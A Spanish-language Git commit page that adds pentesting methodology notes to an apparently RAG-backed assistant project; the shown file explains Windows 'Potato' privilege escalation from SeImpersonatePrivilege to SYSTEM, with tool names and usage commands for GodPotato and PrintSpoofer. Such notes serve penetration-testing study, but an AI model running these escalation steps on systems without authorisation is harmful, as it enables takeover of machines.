hacklab/JARVIS
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions

saber: pack de metodologia publico (conocimiento/) + doc del RAG

Browse source 
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP,
scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya
sabe de enumeracion, explotacion web, shells, privesc, Active Directory,
cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
This commit is contained in:
sito 2026-08-16 17:58:41 +02:00
parent 12987539a4
commit 7e06ce46cf
76 changed files with 2682 additions and 8 deletions
Download patch file Download diff file Expand all files Collapse all files

24
nucleo/saber/conocimiento/04 - Privesc/Potato attacks.md Normal file
View file

@ -0,0 +1,24 @@
# Potato attacks
> Cuando `whoami /priv` muestra **SeImpersonatePrivilege** o **SeAssignPrimaryTokenPrivilege** → abuso de token a **NT AUTHORITY\SYSTEM**.
## El gatillo
```
whoami /priv → busca SeImpersonatePrivilege = Enabled
```
Típico en cuentas de servicio (IIS, MSSQL `sa`, etc.).
## La familia
```
JuicyPotato → Windows antiguos
PrintSpoofer → Windows 10/Server 2016-2019 (servicio de impresión)
GodPotato → moderno, muy fiable hoy
RoguePotato / RottenPotato → variantes
```
## Uso típico (GodPotato/PrintSpoofer)
```
GodPotato.exe -cmd "cmd /c whoami"
PrintSpoofer.exe -i -c cmd
```
Subes el .exe con Transferencia de ficheros.